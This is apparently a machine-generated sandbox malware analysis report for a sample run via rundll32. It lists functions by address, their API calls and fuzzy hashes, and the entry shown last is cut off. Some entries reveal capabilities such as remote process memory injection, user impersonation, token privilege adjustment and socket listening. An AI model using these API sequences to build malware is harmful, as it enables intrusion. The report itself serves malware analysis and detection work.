Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: c2021f0a9f26ef9dec26b659ad86d14375e5e409e32091164f61bdae085ffb56
Instruction ID: 223c5420a36c6f5c515e6ef70493b272aee26df749629b029955803516750009
Opcode Fuzzy Hash: c2021f0a9f26ef9dec26b659ad86d14375e5e409e32091164f61bdae085ffb56
Instruction Fuzzy Hash: E431E87290011BBAEB11AAEC4C84DFF7AEDEB21154FD48166F984D7141E636AE0093F1

Uniqueness

Uniqueness Score: -1.00%

Function 00B486D4 Relevance: 1.6, APIs: 1, Instructions: 132libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,00B4821A,MetNet,?,?,?,?), ref: 00B48740

Memory Dump Source

Source File: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_b40000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5b0a301958f9b14c3ed8f5414731aee123fd3e563d2c63ed9dfabb699d54c5f0
Instruction ID: 9d1cc076c7d9403be59075c800e8cc13622f0d66875dd4ffe10d5be1c0772f14
Opcode Fuzzy Hash: 5b0a301958f9b14c3ed8f5414731aee123fd3e563d2c63ed9dfabb699d54c5f0
Instruction Fuzzy Hash: 15519275A00209DFCB08CF98C890AEEBBB2FF88314F148199E915AB355C734AE51DF94

Uniqueness

Uniqueness Score: -1.00%

Function 010A3711 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A3781

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Part of subcall function 010AA583: _malloc.LIBCMT ref: 010AA5AA
Part of subcall function 010AA583: _memset.LIBCMT ref: 010AA5D8

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 9475329903c324c23df4e9733a975901fe5616acf40d44de534cf3281ea66ad3
Instruction ID: 2dc6c46b6f6e3d72417ce274853a1e0e2bf660796221f90ea0e8e55af1bf3259
Opcode Fuzzy Hash: 9475329903c324c23df4e9733a975901fe5616acf40d44de534cf3281ea66ad3
Instruction Fuzzy Hash: C501E1B1B003009AEB349EA8D851BA97BA0BF58320F60825EE2D54F2C5D77A90008B44

Uniqueness

Uniqueness Score: -1.00%

Function 010A0D24 Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A0D33

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 1fcae5b634028b84ee1490516fae7fa5349a859a411fc83959a9bf07f0a80d1f
Instruction ID: a33019290b5734dd27f9e75d52615481661a9dcebc41b52c814943e0460c11d2
Opcode Fuzzy Hash: 1fcae5b634028b84ee1490516fae7fa5349a859a411fc83959a9bf07f0a80d1f
Instruction Fuzzy Hash: 7FF0C27760021FABDB017FECEC809DE3798AF64224B408575FC85BB205EA71AD1586E1

Uniqueness

Uniqueness Score: -1.00%

Function 010AF9F9 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010AFA00

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 77364beeda0f7265180ba1aced78f71d27b8e899e376c707577891486395e2bb
Instruction ID: 845809e62442323f4f040331ade6cc7760c3f005653f4fbec5cb23b4138b24ca
Opcode Fuzzy Hash: 77364beeda0f7265180ba1aced78f71d27b8e899e376c707577891486395e2bb
Instruction Fuzzy Hash: 66E04F722086024FD7688F2CF85064AB7E19B95220B20CE3ED0EAD7385D634E0814B14

Uniqueness

Uniqueness Score: -1.00%

Function 00B48D24 Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000000,00000000,00000020,00000004,00000000), ref: 00B48D4E

Memory Dump Source

Source File: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_b40000_rundll32.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c8269323ef5a83853f531880be9aa38fe7d1b7683f8a152e64d76accc3a7c159
Instruction ID: f5c4b2fe11136740a9a71656d7121f66c9ee11c1ff182506ee6020e39c4c5846
Opcode Fuzzy Hash: c8269323ef5a83853f531880be9aa38fe7d1b7683f8a152e64d76accc3a7c159
Instruction Fuzzy Hash: C3E01A3190120CABDF18DE44D944BAE33A8EB44711F0085AEF91846290DB71EE54CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010B5DC3 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,010B5AFF,?), ref: 010B5DD8

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6d48aceef74243291bae25e58b58e15fddd00065b49fac9edc1a910712843319
Instruction ID: afbcefe6d0283336bb12737c6e3eec3ed3fae66d5714b588885c59314dfb8cae
Opcode Fuzzy Hash: 6d48aceef74243291bae25e58b58e15fddd00065b49fac9edc1a910712843319
Instruction Fuzzy Hash: D3D05E366513046EDB206F747C097623BDC9388395F108476BC8CC6184E67AC540CA04

Uniqueness

Uniqueness Score: -1.00%

Function 010A074B Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 010A0759

Part of subcall function 010B40EA: __lock.LIBCMT ref: 010B4108
Part of subcall function 010B40EA: ___sbh_find_block.LIBCMT ref: 010B4113
Part of subcall function 010B40EA: ___sbh_free_block.LIBCMT ref: 010B4122
Part of subcall function 010B40EA: RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
Part of subcall function 010B40EA: GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock_memset
String ID:
API String ID: 3781657885-0
Opcode ID: 15c1970eb93ddb1a3caa8f1eca5c6bda61fc0aae5aa39237ba1e882723eafb69
Instruction ID: bdfe1e491fcd853cd1bf8fb5265e10ca1d9326c5efad76231a7e227c41c99424
Opcode Fuzzy Hash: 15c1970eb93ddb1a3caa8f1eca5c6bda61fc0aae5aa39237ba1e882723eafb69
Instruction Fuzzy Hash: 05C0123B440118FBDA113E84DC41FC5BB99DF142A0F104C55F6C856161D56379309BC5

Uniqueness

Uniqueness Score: -1.00%

Function 010A0669 Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A066F

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 78e19e2be136aea2cea2da5680fff3a6565f589cd7137c74cea91673360cd8c7
Instruction ID: ac2bb2bdd0c33e1f92567b803d79fb3b7ab93756287265e3108c4d1537869d3f
Opcode Fuzzy Hash: 78e19e2be136aea2cea2da5680fff3a6565f589cd7137c74cea91673360cd8c7
Instruction Fuzzy Hash: 54C08C3420400CEB8B009E08E8808EC3BD5DB48230B20C110F8598B202CB31EA008680

Uniqueness

Uniqueness Score: -1.00%

Function 010B8DE0 Relevance: 1.5, APIs: 1, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMT ref: 010B8DE2

Part of subcall function 010B8D6E: RtlEncodePointer.NTDLL(00000000,?,010B8DE7,00000000,010BCB45,010D2368,00000000,00000314,?,010B6E3B,010D2368,010C68D8,00012010), ref: 010B8DD5

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 365f159dc62819f322d9f23cb44fa19bd26d8e91bbd3f7f7cdae120b4477e91d
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 010A3716 Relevance: 1.3, APIs: 1, Instructions: 27sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,010A0645,010D21A8), ref: 010A375D

Part of subcall function 010A3711: _malloc.LIBCMT ref: 010A3781

Part of subcall function 010AA6E0: _malloc.LIBCMT ref: 010AA72A

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _malloc$Sleep
String ID:
API String ID: 1356705644-0
Opcode ID: 5300cdf63a0e9c1b3b2aace140d78251935d46cef72ea1161a834cca8e22c06b
Instruction ID: fdcae2f96d7b827dea52c1aef7bb94ab2493d0a630ec9498866d5cdeff6ae94b
Opcode Fuzzy Hash: 5300cdf63a0e9c1b3b2aace140d78251935d46cef72ea1161a834cca8e22c06b
Instruction Fuzzy Hash: E4E09A76100208AFDB316FA4FC40AAD3F68FF98365F584065ED880B290DB3B9891DB84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010A319B Relevance: 15.2, APIs: 10, Instructions: 172filetimeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A31AD

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

_memset.LIBCMT ref: 010A31B9

Part of subcall function 010A0669: _malloc.LIBCMT ref: 010A066F

Part of subcall function 010A06B9: htonl.WS2_32(00000000), ref: 010A06BF

_strncmp.LIBCMT ref: 010A3208
GetCurrentDirectoryA.KERNEL32(00004000,00000000), ref: 010A3216

Part of subcall function 010B40EA: __lock.LIBCMT ref: 010B4108
Part of subcall function 010B40EA: ___sbh_find_block.LIBCMT ref: 010B4113
Part of subcall function 010B40EA: ___sbh_free_block.LIBCMT ref: 010B4122
Part of subcall function 010B40EA: RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
Part of subcall function 010B40EA: GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

FindFirstFileA.KERNEL32(00000000,?), ref: 010A3247
GetLastError.KERNEL32 ref: 010A3254
FileTimeToSystemTime.KERNEL32(?,00000000), ref: 010A32A0
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,00000000,?), ref: 010A32B0
FindNextFileA.KERNEL32(00000000,00000010), ref: 010A3343
FindClose.KERNEL32(00000000), ref: 010A3352

Part of subcall function 010A070C: _vwprintf.LIBCMT ref: 010A0716
Part of subcall function 010A070C: _vswprintf_s.LIBCMT ref: 010A073A

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Time$FileFind$ErrorHeapLastSystem_malloc$AllocateCloseCurrentDirectoryFirstFreeLocalNextSpecific___sbh_find_block___sbh_free_block__lock_memset_strncmp_vswprintf_s_vwprintfhtonl
String ID:
API String ID: 2804257087-0
Opcode ID: 4f329ba64d1992242a21d2a512a77ed045ae48386114a6a34f1f841ae339bef8
Instruction ID: 4c7fc1be96b3497c782b189d9dde7e2e3ede503e844a476bc9f2e4ba079f864d
Opcode Fuzzy Hash: 4f329ba64d1992242a21d2a512a77ed045ae48386114a6a34f1f841ae339bef8
Instruction Fuzzy Hash: AF516FB2C0022EAADB20EBE5DC85EFF77BCBF58601F440456F589E6181E63996448B70

Uniqueness

Uniqueness Score: -1.00%

Function 010A451C Relevance: 10.6, APIs: 7, Instructions: 97memoryinjectionCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00003000,?,00000000,?,?,010A4105,00000000,00000000), ref: 010A4550
GetLastError.KERNEL32(?,010A4105,00000000,00000000), ref: 010A455C
WriteProcessMemory.KERNEL32(00000000,010A4105,010A4105,?,00000000,?,010A4105,00000000,00000000), ref: 010A4591
VirtualProtectEx.KERNEL32(00000000,00000000,00000000,?,010A4105,?,010A4105,00000000,00000000), ref: 010A45D7
GetLastError.KERNEL32(?,010A4105,00000000,00000000), ref: 010A45E1
GetLastError.KERNEL32(?,00000000,?,010A4105,00000000,00000000), ref: 010A45EC
VirtualFree.KERNEL32(00000000,00000000,00008000,?,010A4105,00000000,00000000), ref: 010A4604

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLastVirtual$AllocFreeMemoryProcessProtectWrite
String ID:
API String ID: 2897431253-0
Opcode ID: 2025736280aa0f20b296b7751a119defd9a9a028030ff96d4c103a73c72decdc
Instruction ID: e571bac850fe376cfd5a9a37e659cb5ffd2b4e695cbb3274197fdcf8782a345f
Opcode Fuzzy Hash: 2025736280aa0f20b296b7751a119defd9a9a028030ff96d4c103a73c72decdc
Instruction Fuzzy Hash: C121A57A600109BFEB206BF49D49FFF3AA8EF44741F984065FAC0D9181D7B1D9419B61

Uniqueness

Uniqueness Score: -1.00%

Function 010A7B20 Relevance: 10.6, APIs: 7, Instructions: 84fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 010A7B2D

Part of subcall function 010B41C7: __FF_MSGBANNER.LIBCMT ref: 010B41EA
Part of subcall function 010B41C7: __NMSG_WRITE.LIBCMT ref: 010B41F1
Part of subcall function 010B41C7: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,010D65EC,?,010A006E,00004008), ref: 010B423E

__snprintf.LIBCMT ref: 010A7B3E
FindFirstFileA.KERNEL32(00000000,010A303F,?,010A7C0F,010A303F,?,010A2FC3), ref: 010A7B4B

Part of subcall function 010B40EA: __lock.LIBCMT ref: 010B4108
Part of subcall function 010B40EA: ___sbh_find_block.LIBCMT ref: 010B4113
Part of subcall function 010B40EA: ___sbh_free_block.LIBCMT ref: 010B4122
Part of subcall function 010B40EA: RtlFreeHeap.NTDLL(00000000,?,010CE5C8,0000000C,010B5FC4,00000000,010CE728,0000000C,010B5FFE,?,?,?,010BF821,00000004,010CEA88,0000000C), ref: 010B4152
Part of subcall function 010B40EA: GetLastError.KERNEL32(?,010BF821,00000004,010CEA88,0000000C,010BC1F3,?,?,00000000,00000000,00000000,?,010B8FE7,00000001,00000214), ref: 010B4163

_malloc.LIBCMT ref: 010A7B8A
__snprintf.LIBCMT ref: 010A7B9F

Part of subcall function 010A7AE3: _malloc.LIBCMT ref: 010A7AEE
Part of subcall function 010A7AE3: __snprintf.LIBCMT ref: 010A7B02

FindNextFileA.KERNEL32(000000FF,010A303F,?,?,?,?,?,?,?), ref: 010A7BCC
FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 010A7BD9

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1254174322-0
Opcode ID: ceb169a0cd36e75171731284981ca04b1c193e8d995f6fecdccd25ad624fcb02
Instruction ID: 96b22395efd90da930dd0e70b6ae6fa7905e594baa0650e089a9791d0f9e4030
Opcode Fuzzy Hash: ceb169a0cd36e75171731284981ca04b1c193e8d995f6fecdccd25ad624fcb02
Instruction Fuzzy Hash: E621F572900109BBEF215F64CC84FEF3F6DEF44661F18C458F989AA151D7729E119B60

Uniqueness

Uniqueness Score: -1.00%

Function 010A26E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98processCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateProcessWithLogonW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,010A2909,F8E8296A,83FFFFE4,010A2A40,010C6160), ref: 010A2716
GetLastError.KERNEL32 ref: 010A2728
_memset.LIBCMT ref: 010A2771

Strings

system32, xrefs: 010A2776

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateErrorLastLogonProcessWith_memset
String ID: system32
API String ID: 2584212486-3483537008
Opcode ID: 38338503fcef3247f665056c506b2a592491b260862ab203e30e71c53cf44196
Instruction ID: 3876b1b4a9da537d222b83d491c7eb0fec9473fee6f0e26a013301a9a1156635
Opcode Fuzzy Hash: 38338503fcef3247f665056c506b2a592491b260862ab203e30e71c53cf44196
Instruction Fuzzy Hash: 28313176900205AFDB229BA4DC48FEA3FA9EF05700F5800A0FDC9DB205EB36D6448B90

Uniqueness

Uniqueness Score: -1.00%

Function 010BBBCE Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 010BF66F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 010BF684
UnhandledExceptionFilter.KERNEL32(010C6C18), ref: 010BF68F
GetCurrentProcess.KERNEL32(C0000409), ref: 010BF6AB
TerminateProcess.KERNEL32(00000000), ref: 010BF6B2

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6b89e2811cd6e74260f4f17faaa755774b0727d5760225e5f7d31fb80c5547f9
Instruction ID: 2605928f9f1011c704bec19ef02a51de8545e5b56f36a51c36ca364a573a6a2f
Opcode Fuzzy Hash: 6b89e2811cd6e74260f4f17faaa755774b0727d5760225e5f7d31fb80c5547f9
Instruction Fuzzy Hash: 6021CEB4903305DFC775EF68E885658BBE0FB483A1F50101AEC8887358E7BB59828F59

Uniqueness

Uniqueness Score: -1.00%

Function 010A5E84 Relevance: 7.6, APIs: 5, Instructions: 54networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010A1638: WSAStartup.WS2_32(00000202,?), ref: 010A1656
Part of subcall function 010A1638: WSACleanup.WS2_32 ref: 010A1660

htons.WS2_32(00000001), ref: 010A5EB8
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 010A5ED1
closesocket.WS2_32(00000000), ref: 010A5EDC
bind.WS2_32(00000000,010A5F36,00000010), ref: 010A5EEA
listen.WS2_32(00000000,?), ref: 010A5EF8

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CleanupStartupbindclosesockethtonsioctlsocketlisten
String ID:
API String ID: 2075648082-0
Opcode ID: 7044414b1d95e7ad00c7c9a6d20884c47414aa42ebfbbb50d5343285e710da5f
Instruction ID: 8d9d32c13423a01ef22db7273c243db861872f4ce53455dd3e61f97c17344fe6
Opcode Fuzzy Hash: 7044414b1d95e7ad00c7c9a6d20884c47414aa42ebfbbb50d5343285e710da5f
Instruction Fuzzy Hash: C5012831600529BADB22ABE88C45AEFBA7DEF40750F644115FB80E6181E33146414BE6

Uniqueness

Uniqueness Score: -1.00%

Function 010AA8AE Relevance: 7.5, APIs: 5, Instructions: 46networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010A1638: WSAStartup.WS2_32(00000202,?), ref: 010A1656
Part of subcall function 010A1638: WSACleanup.WS2_32 ref: 010A1660

socket.WS2_32(00000002,00000001,00000000), ref: 010AA8C0
closesocket.WS2_32(00000000), ref: 010AA8CD
htons.WS2_32(?), ref: 010AA8DE
bind.WS2_32(00000000,?,00000010), ref: 010AA8F5
listen.WS2_32(00000000,00000078), ref: 010AA906

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: CleanupStartupbindclosesockethtonslistensocket
String ID:
API String ID: 3713690034-0
Opcode ID: 7736684c067e116463d2b22b58eb5479c942d4840dd66650c1ab7e08a71fd48b
Instruction ID: 6b4d8c2f00164d760a85891c6f7d87f43c7f4e0717fcc2586373ee2513542515
Opcode Fuzzy Hash: 7736684c067e116463d2b22b58eb5479c942d4840dd66650c1ab7e08a71fd48b
Instruction Fuzzy Hash: 9901D174A40229B6DA1077F88C46FFE366C9F10720F804714F9E1AB0C1D6B546418BA6

Uniqueness

Uniqueness Score: -1.00%

Function 010AA2E0 Relevance: 6.1, APIs: 4, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 010A9FCB: CloseHandle.KERNEL32(010D6E90), ref: 010A9FD5
Part of subcall function 010A9FCB: RevertToSelf.ADVAPI32 ref: 010A9FE2

LogonUserA.ADVAPI32(?,?,010AA48D,00000009,00000003,010D6E90), ref: 010AA2FD
GetLastError.KERNEL32(?,010AA48D,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000), ref: 010AA307

Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5B96
Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5BA6

Part of subcall function 010AA007: _memset.LIBCMT ref: 010AA02B
Part of subcall function 010AA007: _memset.LIBCMT ref: 010AA039
Part of subcall function 010AA007: _memset.LIBCMT ref: 010AA047
Part of subcall function 010AA007: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00001000,010AA0E6,?,?,?,?,?,010AA0E6,?,?), ref: 010AA064

ImpersonateLoggedOnUser.ADVAPI32(?,010AA48D,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000), ref: 010AA322
GetLastError.KERNEL32(?,010AA48D,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000), ref: 010AA32C

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: _memset$ErrorLastUser_malloc$CloseHandleImpersonateInformationLoggedLogonRevertSelfToken
String ID:
API String ID: 4278158093-0
Opcode ID: 78f93dc3d5b317350cc06e47e2be9c1bfb90664b3a3264faf2e46be908b7db6c
Instruction ID: 755ea39439495dee18e23a0fcae9ac81a17f1d67900bf5dbdce7d80fb564d131
Opcode Fuzzy Hash: 78f93dc3d5b317350cc06e47e2be9c1bfb90664b3a3264faf2e46be908b7db6c
Instruction Fuzzy Hash: C0216D76605205FEEB212FA1EC05AAA3F69EF05314F548025F9C8961A5EBB79410DB50

Uniqueness

Uniqueness Score: -1.00%

Function 010C2CD0 Relevance: 5.6, Strings: 4, Instructions: 612COMMONLIBRARYCODE

Download Yara Rule

Strings

abcdefghijklmnop, xrefs: 010C2CDA
<, xrefs: 010C3056
abcdefghijklmnop, xrefs: 010C2CDB
, xrefs: 010C304C

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: $<$abcdefghijklmnop$abcdefghijklmnop
API String ID: 0-3339112986
Opcode ID: ec610b2a9f41c1204ccf09d16b6335e76ee9000f276c79bf95573c7948f711e6
Instruction ID: c564b66be7703bcb63367a350a30a6a67c01411e6e6bae2689c3730f1858eaef
Opcode Fuzzy Hash: ec610b2a9f41c1204ccf09d16b6335e76ee9000f276c79bf95573c7948f711e6
Instruction Fuzzy Hash: B552F475A101198FDB48CF69C491AADBBF1FF4D300F14C16AE8A5AB342C638E951CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 010A2123 Relevance: 4.6, APIs: 3, Instructions: 75COMMONLIBRARYCODE

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 010A217F
AdjustTokenPrivileges.ADVAPI32(?,00000000,010A2387,00000000,00000000,00000000,?,?,?,00000001), ref: 010A21A2
GetLastError.KERNEL32(?,?,?,00000001), ref: 010A21AC

Part of subcall function 010A070C: _vwprintf.LIBCMT ref: 010A0716
Part of subcall function 010A070C: _vswprintf_s.LIBCMT ref: 010A073A

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue_vswprintf_s_vwprintf
String ID:
